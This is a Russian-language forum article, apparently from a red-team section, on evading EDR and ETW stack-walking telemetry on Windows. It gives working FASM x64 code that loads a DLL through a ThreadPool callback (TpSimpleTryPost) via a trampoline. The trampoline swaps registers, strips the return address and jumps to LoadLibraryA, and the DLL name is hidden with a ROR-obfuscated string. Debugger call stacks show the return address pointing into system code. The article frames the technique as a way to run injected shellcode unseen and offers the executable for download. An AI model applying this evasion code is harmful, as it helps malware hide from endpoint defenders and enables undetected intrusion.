Статья ASM. Обратные вызовы «Callback» против телеметрии стека

Marylin

Mod.Assembler
Red Team
05.06.2019
333
1 478
BIT
873
В статье речь пойдёт о способах противодействия обратной трассировки стека такими инструментами как сторожа Defender, а в более общем случае и EDR. Рассматриваются принципы функционирования обратных вызовов Callback, а так-же устройство пула системных потоков из класса ThreadPool.

Содержание:
  1. Общие сведения об EDR и WPA
  2. Устройство и принцип работы обратных вызовов Callback
  3. Системный интерфейс ThreadPool
  4. Практическая реализация обхода EDR
  5. Заключение


1. Общие сведения об EDR и ETW

Все современные антивирусы функционируют в тесной связке с EDR, работа которой основана на сборе телеметрии в ОС (например мониторы производительности, логи событий, сведения о файлах, запущенных процессов, и прочее). Далее эти сведения отправляются т.н. «Потребителям», для анализа и выявления штамов потенциальных угроз. Техника обнаружения здесь довольно серьёзная – некоторые EDR используют хуки Win32API, но в своей массе это более мощный механизм ядра под названием ETW или «Event Tracing for Windows» – пошаговая трассировка системных событий, в т.ч. и для захвата стека исполняемых файлов. Начиная с 64 разрядной «Windows 7 Professional Edition», в штатную поставку ОС включёна подсистема поведенческой аналитики WPA или «Windows Performance Analyzer», частью которого и является ETW с монитором PerfMon.

На данный момент рынок предлагает нам несколько решений EDR, что позволяет экономить системные ресурсы в зависимости от сферы применения:

EPP – Endpoint Protection Platform (платформа защиты конечных точек в виде компьютеров и мобильных устройств) направлена на предотвращение известных атак на основе сигнатурных баз. Блэк-листы выявляют и блокируют выполнение известных угроз. Эти инструменты не могут обнаружить неизвестные атаки ZeroDay, а также не способны обеспечить видимости сети LAN.​
EDR – Endpoint Detection and Response (обнаружение и реагирование на угрозы в конечных точках) в режиме RealTime ведёт мониторинг происходящего в системе, и анализирует эти данные для обнаружения не только известных, но и потенциальных киберугроз. Если интеллектуальная логика EDR обнаруживает подозрительные события, об этом оповещаются сотрудники службы безопасности, которые будут проводить дальнейшее расследование инцидентов.​
XDR – eXtended Detection and Response расширяет сферу безопасности за пределы конечных точек, таких как сети, облачные платформы и электронная почта.​

Чтобы влиться в тему предположим, что нужно запустить шелл в чужом пространстве, для чего сначала требуется выделить блок памяти требуемого размера через VirtualAlloc(), затем скопировать туда код чз WriteProcessMemoryEx(), и наконец выполнить его, передав каким-либо способом управление, например ResumeThread(). С этого момента шелл может делать что угодно, например потянуть за LoadLibrary() для загрузки произвольных библиотек с диска в память процесса-жертвы, с последующим вызовом из них функций.

Однако если системный сторож EDR использовал хуки на WinAPI, он мог уже перехватить LoadLibrary(), чтобы проверить оставшийся стеке адрес возврата – этот адрес сдаст с потрохами наш вредоностный код. Подобное поведение характерно для таких EDR как «Crowd-Strike», «Sentinel-One» и прочих, которые мгновенно отправят к праотцам Payload.

Другие EDR типа «WinDefender ATP» или сторонние «Elastic», «FortiEDR» etc, как правило используют ETW, чтобы определить, от кого именно исходил вызов (в данном случае) LoadLibrary(). Обратная трассировка стека «Stack Walking» предоставит аналитику исчерпывающий фрейм стековой памяти, включая адрес-возврата и имена всех функций, с которых начался вызов подозрительной API. В общем ничего хорошего это нам не сулит.

Графическую оболочку механизма WPA можно найти в папке ..\Program Files\ Performance Toolkit, хотя для гурманов имеется и утилита ком.строки xperf. В контексте данной статьи нас будет интересовать трассировка стека, что на английский манер звучит как «StackWalking» (stack trace/unwind – прогулка, трассировка, раскрутка стека):

Код:
C:\> xperf /?

    Microsoft (R) Windows (R) Performance Analyzer Version 4.8.7701
    Performance Analyzer Command Line
    Copyright (c) Microsoft Corporation. All rights reserved.

    Usage: xperf options ...

        xperf -help view             for xperfview, the graphical user interface
        xperf -help start            for logger start options
        xperf -help providers        for known tracing flags
        xperf -help stackwalk        for stack walking options      <----------------//
        xperf -help stop             for logger stop options
        xperf -help merge            for merge multiple trace files
        xperf -help processing       for trace processing options
        xperf -help symbols          for symbol decoding configuration
        xperf -help query            for query options
        xperf -help mark             for mark and mark-flush
        xperf -help format           for time and timespan formats on the command line
        xperf -help profiles         for profile options

C:\> xperf -help stackwalk

    Флаги обхода стека можно указать либо непосредственно в командной строке, либо в файле:

        xperf -on base -stackwalk  ThreadCreate+ProcessCreate
        xperf -on base -stackwalk  ThreadCreate -stackwalk ProcessCreate
        xperf -on base -stackwalk  @stack.txt
        xperf -on base -stackwalk  0x0501

    Пользовательские флаги обхода стека можно указать в формате 0xMmNn,
    где Mm — это группа событий, а Nn — это тип.
   
    Файл обхода стека может содержать любое количество флагов разделенных пробелами,
    знаками плюс («+») или на новых строках. Файл также может содержать пустые строки,
    или комментарии с префиксом "!" :

        ThreadCreate ProcessCreate
        DiskReadInit+DiskWriteInit+DiskFlushInit
        CSwitch

    Ниже приведен список распознаваемых флагов обхода стека:
   
    NT Kernel Logger provider:
        ProcessCreate                  PagefaultTransition
        ProcessDelete                  PagefaultDemandZero
        ImageLoad                      PagefaultCopyOnWrite
        ImageUnload                    PagefaultGuard
        ThreadCreate                   PagefaultHard
        ThreadDelete                   PagefaultAV
        CSwitch                        VirtualAlloc
        ReadyThread                    VirtualFree
        ThreadSetPriority              PagefileBackedImageMapping
        ThreadSetBasePriority          ContiguousMemoryGeneration
        Mark                           HeapRangeCreate
        SyscallEnter                   HeapRangeReserve
        SyscallExit                    HeapRangeRelease
        Profile                        HeapRangeDestroy
        ProfileSetInterval             AlpcSendMessage
        DiskReadInit                   AlpcReceiveMessage
        DiskWriteInit                  AlpcWaitForReply
        DiskFlushInit                  AlpcWaitForNewMessage
        FileCreate                     AlpcUnwait
        FileCleanup                    AlpcConnectRequest
        FileClose                      AlpcConnectSuccess
        FileRead                       AlpcConnectFail
        FileWrite                      AlpcClosePort
        FileSetInformation             ThreadPoolCallbackEnqueue
        FileDelete                     ThreadPoolCallbackDequeue
        FileRename                     ThreadPoolCallbackStart
        FileDirEnum                    ThreadPoolCallbackStop
        FileFlush                      ThreadPoolCallbackCancel
        FileQueryInformation           ThreadPoolCreate
        FileFSCTL                      ThreadPoolClose
        FileDirNotify                  ThreadPoolSetMinThreads
        FileOpEnd                      ThreadPoolSetMaxThreads
        SplitIO                        PowerSetPowerAction
        RegQueryKey                    PowerSetPowerActionReturn
        RegEnumerateKey                PowerSetDevicesState
        RegEnumerateValueKey           PowerSetDevicesStateReturn
        RegDeleteKey                   PowerDeviceNotify
        RegCreateKey                   PowerDeviceNotifyComplete
        RegOpenKey                     PowerSessionCallout
        RegSetValue                    PowerSessionCalloutReturn
        RegDeleteValue                 PowerPreSleep
        RegQueryValue                  PowerPostSleep
        RegQueryMultipleValue          PowerPerfStateChange
        RegSetInformation              PowerIdleStateChange
        RegFlush                       PowerThermalConstraint
        RegKcbCreate                   ExecutiveResource
        RegKcbDelete                   PoolAlloc
        RegVirtualize                  PoolAllocSession
        RegCloseKey                    PoolFree
        HardFault                      PoolFreeSession
        PagefaultTransition

    Other system providers:
        HeapCreate                     HeapFree
        HeapAlloc                      HeapDestroy
        HeapRealloc
C:\>

Обратите внимание на список Win32API в конце лога утилиты. Софт EDR может расширить его своими провайдерами, чтобы взять под контроль более обширные территории ОС. Оказавшись под таким колпаком нам приходится только мириться, укланяясь от радаров сторожей всеми возможными способами. Позже мы рассмотрим один из вариантов ухода из под трассировки стека ERD.


1.1. Обзор внутренних компонентов ETW

Два основных компонента ETW – это поставщики/провайдеры и потребители. Поставщики отправляют события в идентификатор GUID-ETW, в результате чего соответствующее событие записывается в файл, или в буфер памяти. В зависимости от версии, в Windows могут быть зарегистрированы тысячи поставщиков, а лист доступных на текущий момент возвращает команда logman query providers. Поскольку портянка получается длинная, перенаправлением find можно запросить только общее их число – на своей Win7 я получил всего 665 тушканчиков:

Код:
C:\> logman query providers
C:\> logman query providers | find /c /v ""
     665

Каждый из этих поставщиков определяет собственные события (указываются в их файле манифеста xml), которые используются потребителями для анализа данных. Поставщики могут определять сотни типов событий, поэтому объём получаемой от ETW информации просто огромен. Большинство событий можно увидеть в оснастке «EventViewer», запустив её командой eventvwr.msc в окне выполнить Win+R. На другом конце связи у нас потребители – это сеансы трассировки журналов, которые получают события от одного или нескольких провайдеров. К примеру все EDR в процессе своей работы полагаются на данные логгера ETW, так-что будут потреблять события из закрытых его каналов Pipe.

При желании можно просмотреть всех активных потребителей ETW в окне системного монитора Win+R ->perfmon, что будет эквивалентно консольной команде logman query –ets. Клик на любом имени сеансов отобразит окно с поставщиками, на которых он подписан.

PerfLog.webp

Код:
C:\> logman /?
C:\> logman query "Audio" -ets

    Имя:                  Audio
    Состояние:            Работает
    Корневой путь:        %systemdrive%\PerfLogs\Admin
    Сегмент:              выкл.
    Расписания:           вкл.
    Макс размер сегмента: 2 МБ

    Имя:                  Audio\Audio
    Тип:                  Слежение
    Добавление:           выкл.
    Циклический:          выкл.
    Замена:               выкл.
    Размер буфера:        4
    Потеряно буферов:     0
    Записано буферов:     0
    Таймер очистки:       0
    Тип таймера:          Система
    Режим файла:          Буферизация

    Поставщик
    Имя:                  {E27950EB-1768-451F-96AC-CC4E14F6D3D0}
    GUID поставщика:      {E27950EB-1768-451F-96AC-CC4E14F6D3D0}
    Level:                4
    KeywordsAll:          0x0
    KeywordsAny:          0x7fffffff
    Properties:           0
    Тип фильтра:          0

    Команда выполнена успешно.

C:\> logman query providers
C:\> logman query providers Microsoft-Windows-Kernel-Process

    Поставщик                                GUID
    -------------------------------------------------------------------------------
    Microsoft-Windows-Kernel-Process         {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}

    Значение            Ключевое слово           Описание
    -------------------------------------------------------------------------------
    0x0000000000000010  WINEVENT_KEYWORD_PROCESS
    0x0000000000000020  WINEVENT_KEYWORD_THREAD
    0x0000000000000040  WINEVENT_KEYWORD_IMAGE
    0x0000000000000080  WINEVENT_KEYWORD_CPU_PRIORITY
    0x0000000000000100  WINEVENT_KEYWORD_OTHER_PRIORITY

    Значение            Уровень                  Описание
    -------------------------------------------------------------------------------
    0x04                win:Informational        Сведения

    Команда выполнена успешно.

Интересен был-бы список процессов, которые получают события из журнала ETW, но из под юзера получить его не реально. И даже драйвером это непростая задача, если мы плохо знакомы с внутренним устройством ETW. Однако отладчиком WinDbg всё-же можно пролезть в тайные закрома логгера, но это тема для отдельного разговора, а потому здесь не затрагивается. Сейчас нам будет достаточно лишь приведённых выше базовых сведений, чтобы определить фронт работы и понять, о чём вообще тут разговор. Напомню, что задача – пройти мимо телеметрии стека механизмом ETW, на который так надеется вышестоящий орган власти EDR.


2. Устройство и принцип работы обратных вызовов Callback

Программный интерфейс Callback – это функция(В), которая передаётся в качестве аргумента родительской функции(А), внутри которой и исполняется. Спроецировав обратные вызовы на повседневную жизнь можно сказать, что здесь мы сами просим операторов перезвонить, оставляя им свой номер телефона. Более того имеются и овер дружелюбные компании, которые любезно cпрашивают, в какое именно время удобно нам связаться с ними – в контексте программирования этим занимается ожидающая определённого события функция WaitForSingleObject(), с привязанным к ней таймером.

Возьмём, к примеру, функцию из либы User32.dll EnumWindows(). В описании на MSDN говорится, что она перечисляет все окна верхнего уровня на рабочем столе, передавая дескриптор каждого окна в определённую приложением функцию обратного вызова. EnumWindows() продолжает работу до тех пор, пока не будет перечислено последнее окно верхнего уровня, или функция обратного вызова не вернет FALSE=0.

C++:
BOOL EnumWindows(                // Если выполнена успешно, возвращает TRUE=1
  [in] WNDENUMPROC  lpEnumFunc,  // Указатель на функцию обратного вызова Callback
  [in] LPARAM       lParam       // Можно передать аргумент в Callback, иначе нуль
);
//-------------------------------------------
// Функция обратного вызова для EnumWindows()
// Получает дескрипторы окон верхнего уровня
//-------------------------------------------
BOOL CALLBACK EnumWindowsProc(
  [in] HWND         hwnd,        // Дескриптор Handle окна верхнего уровня
  [in] LPARAM       lParam       // Если есть, указанное в EnumWindows() значение аргумента
);

// Возвращаемое значение:
// Чтобы продолжить перечисление, функция обратного вызова должна вернуть TRUE=1;
// Чтобы остановить перечисление, функция должна вернуть FALSE=0.

Таким образом, чтобы перечислить все активные окна, нам достаточно вызвать EnumWindows(), а всю грязную работу проделает уже сама система, на каждом шаге отчитываясь перед нами сбросом дескриптора в функцию Callback. Внутри колбека система даёт нам полный картбланш, так-что можно вызывать другие WinAPI, ну или в любой момент прервать цикл поиска, просто вернув в регистре EAX=0.

Как видим механизм удобный, только нужно учитывать, что все функции с обратными вызовами являются синхронными, а значит вызвавший в данном случае EnumWindows() поток приостанавливается, пока его функция Callback полностью не отработает свой потенциал. Вот простой пример использования её на практике:

C-подобный:
format   pe64 console
include 'win64ax.inc'
entry    start
;//-----------
section '.data' data readable writeable
buff      db  0
;//-----------
section '.text' code readable executable
start:   sub     rsp,8
         invoke  SetConsoleTitle,<'*** EnumWindows() example ***',0>

         invoke  EnumWindows,CallbackProc,0  ;// зовём API

@exit:  cinvoke  _getch
        cinvoke  exit, 0
;//-----------
align 8
proc  CallbackProc Hndl,Arg    ;//<-------------- Функция обратного вызова: RCX=Hndl, RDX=Arg
         push    rcx
         invoke  GetWindowText,rcx,buff,512   ;// прочитаем заголовок окна по Handle
         push    rax
         invoke  CharToOem,buff,buff          ;// ANSI_to_OEM для вывода кирилицы в консоль
         pop     rax rdx
         or      rax,rax                      ;// проверить GetWindowText() на ошибку
         jz      @next
        cinvoke  printf,<10,' WinHndl: 0x%08x    Name: %s',0>,rdx,buff  ;// печать, если ОК
@next:   mov     rax,1                        ;// возвращаем системе TRUE = продолжить!
         ret
endp
;//-----------
section '.idata' import data readable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',user32,'user32.dll'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\user32.inc'

Enum.webp

Таким образом, не затратив особых усилий мы получили не плохой объём информации от системы.
Помимо рассмотренной здесь EnumWindows(), в широких штанинах Win32API припрятаны более сотни поддерживающих вызовы Callback функций, а в спойлер я собрал лишь некоторые из пользовательских, всё с тем-же префиксом перечисления Enumerate.

Код:
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CreateThreadPoolWait
CreateTimerQueueTimer_Tech
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumChildWindows
EnumDesktopW
EnumDesktopWindows
EnumDirTreeW
EnumDisplayMonitors
EnumerateLoadedModules
EnumFontFamiliesExW
EnumFontFamiliesW
EnumFontsW
EnumICMProfiles
EnumLanguageGroupLocalesW
EnumObjects
EnumPageFilesW
EnumPropsEx
EnumPropsW
EnumPwrSchemes
EnumResourceTypesExW
EnumResourceTypesW
EnumSystemLocales
EnumThreadWindows
EnumTimeFormatsEx
EnumUILanguagesW
EnumWindows
EnumWindowStationsW
FiberContextEdit
FlsAlloc
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LdrpCallInitRoutine
OpenThreadWaitChainSession
RtlUserFiberStart
SetTimer
SetupCommitFileQueueW
SymEnumProcesses
SymFindFileInPath
SysEnumSourceFiles
VerifierEnumerateResource

Поскольку мы сейчас пытаемся уйти от телеметрии сторожа EDR, то использование обычных Callback-функций нам не подходит. Дело в том, что внутренние процедуры EDR слежения за стеком основываются на обратной раскрутке стековых фреймов, вытаскивая из них адреса-возврата из функций. Скрыть эти адреса в принципе не возможно, т.к. это организовано на аппаратном уровне инструкциями процессором – при вызове процедур и функций CALL помещает в стек адрес-возврата, а обратная ей инструкция RET снимает этот адрес со-стека, и переходит по нему. Вот как будет выглядеть стек вызовов в отладчике, если установить точку-останова BreakPoint на входе в EnumCallback:

CallStack.webp

На скрине выше, последовательность вызовов функций отображается снизу-вверх (в столбце комментов указано, кто-кому передал эстафету). Тогда получается, что основной вызов исходил из кода пользовательского уровня по адресу 0x00402052 (см.столбец «Из..»), куда по окончанию и вернётся (столбец «В..»). Таким образом, разведчикам EDR не придётся даже открывать свою кобуру, поскольку мы сами здесь выходим из окопов с поднятыми руками. У EDR имеется лист подозрительных API-функций, и если мы попытаемся сейчас вызвать любую из них, то с вероятностью 99% попадёмся в плен.

Можно ли как-то обойти этот блок-пост не вызвав огонь на себя? Как оказалось можно, но только при условии, что будем вызывать запрещённые API от лица самой системы (привет уровень доверия и целостности сис.объектов Integrity_Level), причём обязательно из другого программного потока Thread, чтобы адрес-возврата указывал в нёдра системы, а не в нашу секцию-кода как в примере выше.


3. Системный интерфейс ThreadPool

В системе имеется набор служебных потоков «ThreadPool», которые эффективно выполняют асинхронные обратные вызовы Callback от имени приложения (асинхронные, значит не останавливают основной поток кода). Когда мы запрашиваем у системы потоки из данного пула, они всегда будут работать в фоне нашего приложения. Фишка предусмотрена для сокращения кол-ва потоков процесса, что в конечном итоге влияет на экономию ресурсов и производительность. Приложения могут создавать рабочие элементы Work, автоматически ставить потоки в очередь на основе таймера Wait, в любой момент активировать их, и многое другое. С перечнем функций из класса ThreadPool можно ознакомиться раскрыв спойлер ниже. Обратите внимание, что все нативные функции из Ntdll.dll начинаются с префикса Tp_xx():

Код:
Функции Win32API из библиотеки Kernel32.dll
-------------------------------------------
       CreateThreadpool
       CreateThreadpoolCleanupGroup
       CreateThreadpoolIo
       CreateThreadpoolTimer
       CreateThreadpoolWait
       CreateThreadpoolWork

       CloseThreadpool
       CloseThreadpoolCleanupGroup
       CloseThreadpoolIo
       CloseThreadpoolTimer
       CloseThreadpoolWait
       CloseThreadpoolWork

       WaitForThreadpoolIoCallbacks
       WaitForThreadpoolTimerCallbacks
       WaitForThreadpoolWaitCallbacks
       WaitForThreadpoolWorkCallbacks

       SetThreadpoolStackInformation
       SetThreadpoolThreadMaximum
       SetThreadpoolThreadMinimum
       SetThreadpoolTimer
       SetThreadpoolWait

       QueryThreadpoolStackInformation
       StartThreadpoolIo
       SubmitThreadpoolWork
       TrySubmitThreadpoolCallback
       IsThreadpoolTimerSet


Функции NtAPI из библиотеки Ntdll.dll
-------------------------------------------
       TpAllocAlpcCompletion
       TpAllocCleanupGroup
       TpAllocIoCompletion
       TpAllocPool
       TpAllocTimer
       TpAllocWait
       TpAllocWork

       TpReleaseAlpcCompletion
       TpReleaseCleanupGroup
       TpReleaseIoCompletion
       TpReleasePool
       TpReleaseTimer
       TpReleaseWait
       TpReleaseWork

       TpSetTimer
       TpIsTimerSet
       TpSetWait
       TpPostWork
       TpSimpleTryPost

       TpWaitForAlpcCompletion
       TpWaitForIoCompletion
       TpWaitForTimer
       TpWaitForWait
       TpWaitForWork

       TpSetDefaultPoolMaxThreads
       TpSetDefaultPoolStackInformation
       TpSetPoolMaxThreads
       TpSetPoolMinThreads
       TpSetPoolStackInformation
       TpStartAsyncIoOperation

       TpAlpcRegisterCompletionList
       TpAlpcUnregisterCompletionList

       TpCallbackIndependent
       TpCallbackLeaveCriticalSectionOnCompletion
       TpCallbackMayRunLong
       TpCallbackReleaseMutexOnCompletion
       TpCallbackReleaseSemaphoreOnCompletion
       TpCallbackSetEventOnCompletion
       TpCallbackUnloadDllOnCompletion

       TpCancelAsyncIoOperation
       TpCaptureCaller
       TpCheckTerminateWorker
       TpDbgDumpHeapUsage
       TpDbgSetLogRoutine
       TpDisablePoolCallbackChecks
       TpDisassociateCallback
       TpQueryPoolStackInformation

Программная архитектура пула состоит из следующих элементов:
  1. Пул потоков по умолчанию для каждого процесса в системе
  2. Основные рабочие потоки, которые исполняют функции обратных вызовов Callback
  3. Фабрика системных процессов, которая управляет рабочими потоками
  4. Очередь работ и потоки ожидания команд
В кухне «ThreadPool» ключевыми для нас являются 4 фактора:
  1. Каждому процессу система резервирует макс. 500 потоков из своего пула
  2. Запрошенные (allocate) из пула потоки будут работать в фоне нашего приложения
  3. Исполняются сразу в отдельных системных потоках (нам не нужно создавать их вручную)
  4. Потоки из пула имеют свои таймеры, по истечении времени которых потоки завершаются принудительно
Четыре этих пункта сводят на-нет все усилия контролирующих стек сторожей EDR/ETW, поскольку они не смогут уже по адресу-возврата поймать за хвост запросившую подозрительную API секцию-кода нашего приложения. Вот это как раз то, что доктор прописал, и дело остаётся за малым – вдохнуть в теорию жизнь.

Обратите внимание на последний пункт(4) выше, где речь идёт о таймерах. Дело в том, что в целях повышения производительности, ядро ОС не следит как нянька за своими потоками из ThreadPool – система просто выделяет им время жизни по внутреннему таймеру (в дефолте вроде ~7 сек, но не точно), чего вполне хватает для большинства задач. Однако функцией WaitForSingleObject() мы можем или продлить жизнь потоку, или наоборот прибить его преждевременно. В любом случае, при использовании потоков из пула, нам нужно предусмотреть поверх системного, дополнительный свой таймер Wait.


4. Практическая реализация обхода EDR

Думаю для теории достаточно, и теперь попробуем реализовать байпас логгера StackWalk на практике.
В качестве функции с обратным вызовом буду использовать самую простую из класса ThreadPool, нативную TpSimpleTryPost(), которая просто отправляет запрос в пул, с парочкой возможных аргументов:

C++:
NTSTATUS NTAPI TpSimpleTryPost (
  [in]     PTP_SIMPLE_CALLBACK    Callback,        // Указатель на функцию обратного вызова
  [in_out] PVOID                  Context,         // Нуль, или указатель на контекст
  [in]     PTP_CALLBACK_ENVIRON   CallbackEnviron  // Нуль, или указатель на окружение
);

//---- Функция обратного вызова -----------------

BOOL CALLBACK TP_SIMPLE_CALLBACK (
  [in_opt] PVOID                  Context          // функция получает аргумент в регистре RCX
  [in_opt] PTP_CALLBACK_ENVIRON   CallbackEnviron  // получает аргумент в RDX
);

Значит TpSimpleTryPost() в первом аргументе ожидает увидеть указатель на колбек-функцию в нашем приложении. Однако если отойти от предписанных майками правил (которые как известно придуманы, чтобы их нарушать), то ничто не мешает нам подменить этот указатель, подставив вместо него линк на уже готовую Win32API, например пусть будет LoadLibrary(), которая подгрузит произвольную библиотеку с диска, в пространство нашего процесса. Тогда 2 оставшихся аргумента TpSimpleTryPost() можно будет использовать в качестве аргументов для (без шума и пыли) вызываемой LoadLibrary(), у которой всего 1 аргумент с указателем на имя библиотеки DLL. А что.. хорошая идея!

Но на практике мы столкнёмся с проблемой расположения аргументов. Дело в том, что по соглашению fastcall x64, первые(4) параметра передаются функциям API в регистрах RCX,RDX,R8,R9, а значит единственный аргумент lpDllName для LoadLibrary() должен быть прописан в первом регистре RCX, хотя при вызове функции через колбек он окажется во-втором аргументе RDX. То есть наглядно получим сл.картину:

TryPost.webp

Выйти из данной ситуации можно просто создав колбек-функцию с трамплином/стаб, в которой тупо поменять значения регистров RCX и RDX местами, и только после этого вызывать уже API LoadLibrary(). При этом непосредственный вызов должен осуществляться не стандартным способом через CALL, а строго обычным прыжком JMP, поскольку первая всё-равно сохранит в стек адрес-возврата в наш процесс, который мы так пытаемся скрыть.

И здесь всплывает резонный вопрос: «Если управление в API передаётся без адреса-возврата инструкцией JMP, то как тогда родительский/основной поток нашего приложения получит обратно управление?». А ведь и правда.. при отсутствии адреса-возврата LoadLibrary() отработает-то нормально, только вот вернуться в свет уже не сможет, провалившись как в чёрную дыру. Без предпринятых заранее мер, рано или поздно это приведёт к краху приложения – тут и играет нам на руку внутренний таймер потоков пула.

Выше уже говорилось, что жизненный цикл их ограничен, и по истечении ~5..7 сек система безжалостно киляет их. По процессорным меркам, такой период является вечностью, а потому мы просто сами завершим поток обратного-вызова через WaitForSingleObject(), передав ей в аргументе хэндл рабочего процесса из фабрики ThreadPool, запросив его у GetCurrentProcess().

Ну вроде это всё, что требуется нам для обхода сторожей логгера ETW – вот пример реализации задуманного на практике.
Чтобы не было совсем уж скучно в секции-кода тестового приложения, я добавил в него инструкцию ротации всех бит имени библиотеки ROR (позволит типа зашифровать строку, хотя в реале это нужно было сделать заранее), а так-же вставил обычный вызов LoadLibrary(), чтобы наглядно увидеть разницу в окне «Стек-вызовов» отладчика.

C-подобный:
format   pe64 console
include 'win64ax.inc'
entry    start
;//-----------
section '.data' data readable writeable
fName     db  'dbghelp.dll',0
align 8
buff      db  0
;//-----------
section '.text' code readable executable
start:   sub     rsp,8
         invoke  SetConsoleTitle,<'*** Bypass Stack Telemetry v0.1 ***',0>

        cinvoke  printf,<10,' Default name: %s',0>,fName      ;// покажем строку в дефолте
         ror     qword[fName],13                              ;// ..теперь зашифруем её,
        cinvoke  printf,<10,'  Cipher name: %s',10,0>,fName   ;//   ..и результат.

         invoke  LoadLibrary,<'msafd.dll',0>                  ;// подгрузим произвольную либу стд.способом

         invoke  TpSimpleTryPost,tpCallback,fName,0                  ;// колбек из ThreadPool, и передаём в RDX линк на имя DLL
         invoke  WaitForSingleObject,<invoke GetCurrentProcess>,100  ;// прибить процесс пула чз 100 милли-сек!

         invoke  GetModuleHandle,<'dbghelp.dll',0>                   ;// проверим результат скрытой загрузки DLL!
        cinvoke  printf,<10,' DbgHelp: 0x%016llx %s',0>,rax,fName    ;// на консоль его

@exit:  cinvoke  _getch
        cinvoke  exit, 0       ;// Game Over!

;//**********************************************************
;//********  Колбек функция для TpSimpleTryPost() ***********
;//**********************************************************
align 8
proc  tpCallback
         xchg    rdx,rcx            ;// обменять регистры местами
         rol     qword[fName],13    ;// расшифровать строку с именем DLL
         pop     rbx                ;// удалить адрес-возврата из стека
         jmp    [LoadLibraryA]      ;// ныряем в нёдра Kernel32.dll, и дальше в ThreadPool
;//         ret                     ;// можно убрать, т.к. JMP ушёл безвозвратно
endp
;//**********************************************************

section '.idata' import data readable writeable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',\
         user32,'user32.dll',ntdll,'ntdll.dll'
import   ntdll,TpSimpleTryPost,'TpSimpleTryPost'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\user32.inc'

Result.webp

Как видим – план сработал, и либа Dbghelp.dll благополучно загрузилась в пространство моего процесса, но что самое главное, приложение не упало на обоих моих системах Win7/10. Теперь загрузим бинарь в отладчик, поставим точку останова BreakPoint на функцию bp LoadLibraryA, и запустив код на исполнение по F9, посмотрим на состояние стека-вызовов в одноимённом окне.

Значит первый вызов LoadLibrary() стандартным способом оставил в стеке адрес-возврата в нашу секцию-кода, по которому логгер механизма ETW тут-же нас запалит. Зато если продолжить сейчас выполнение по F9, то попадём уже во-второй вызов LoadLibrary(), который порождает функция колбека ThreadPool. Упс.. от куда-то появился второй поток с идентификатором Tid=4064 в нашем приложении, хотя мы его явно не создавали! При этом судя по отчёту дебагера, LoadLibrary() вернётся не в наш код, а в функцию TppSimplepExecuteCallback() системного механизма ThreadPool.

В нашем-же основном потоке с Tid=3184 лежит только безобидная WaitForSingleObject(), которая кстати форвардится (перенаправляется) из Kernel32.dll в нативную либу Ntdll.dll. Как результат, ETW уже запутается в последовательности вызовов кто-куда-зачем-почему, и может оставить данное действие наше кода в покое.

ThreadPool.webp

Аналогичную картину можно наблюдать и в отладчике WinDbg:

Код:
0:000> bp LoadLibraryA
0:000> g
       Breakpoint 1 hit
       kernel32!LoadLibraryA:
       00000000`77774780  48895c2410   mov     qword ptr [rsp+10h],rbx
0:000> knf
        #   Memory  Child-SP           RetAddr            Call Site
       00           00000000`0006ff28  00000000`004020cb  kernel32!LoadLibraryA
       01        8  00000000`0006ff30  00000000`00402080  image00400000+0x20cb
       02        8  00000000`0006ff38  00000000`00401000  image00400000+0x2080
       03        8  00000000`0006ff40  00000000`0006f668  image00400000+0x1000


0:000> g
       ModLoad: 00000000`73e60000  00000000`73e63000   C:\Windows\system32\msafd.dll
       Breakpoint 1 hit
       kernel32!LoadLibraryA:
       00000000`77774780  48895c2410   mov     qword ptr [rsp+10h],rbx
0:001> knf
        #   Memory  Child-SP           RetAddr            Call Site
       00           00000000`0029fc78  00000000`7798bff1  kernel32!LoadLibraryA
       01        8  00000000`0029fc80  00000000`77a79257  ntdll!TppSimplepExecuteCallback+0x91
       02       50  00000000`0029fcd0  00000000`77773d4d  ntdll!TppWorkerThread+0x6f7
       03      290  00000000`0029ff60  00000000`779d273d  kernel32!BaseThreadInitThunk+0xd
       04       30  00000000`0029ff90  00000000`00000000  ntdll!RtlUserThreadStart+0x1d
0:001> g
       ModLoad: 000007fe`f6f70000  000007fe`f7095000   C:\Windows\system32\dbghelp.dll
       ntdll!ZwTerminateProcess+0xa:
       00000000`779e8d8a  c3           ret


5. Заключение

Устройство и принцип работы обратных вызовов Callback само по себе носит таинственный характер, а в миксе с пулом системных потоков ThreadPool превращается в бронебойный снаряд разрывного действия. Усугубляет ситуацию ещё и то, что отлаживать потоки пула большинство дебагеров отказываются, тупо зависая на входе без каких-либо на это оснований.

Здесь мы рассмотрели лишь один «грязный» метод передачи управления в колбек, с ламерской правкой порядка аргументов в регистрах RCX,RDX,R8,R9. Однако если у вызываемой API первый параметр опциональный и может принимать любое значение, это на порядок усложняет анализ кода исследователем, т.к. даёт возможность дёргать за API без стабов напрямую. Учитывая общее число библиотек и функций в системе, такие функции есть, и нужно просто найти их.

В скрепку положил экзешник на случай, если кто захочет потрассировать файл в отладчике. Удачи, до скорого!
 

Вложения

Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!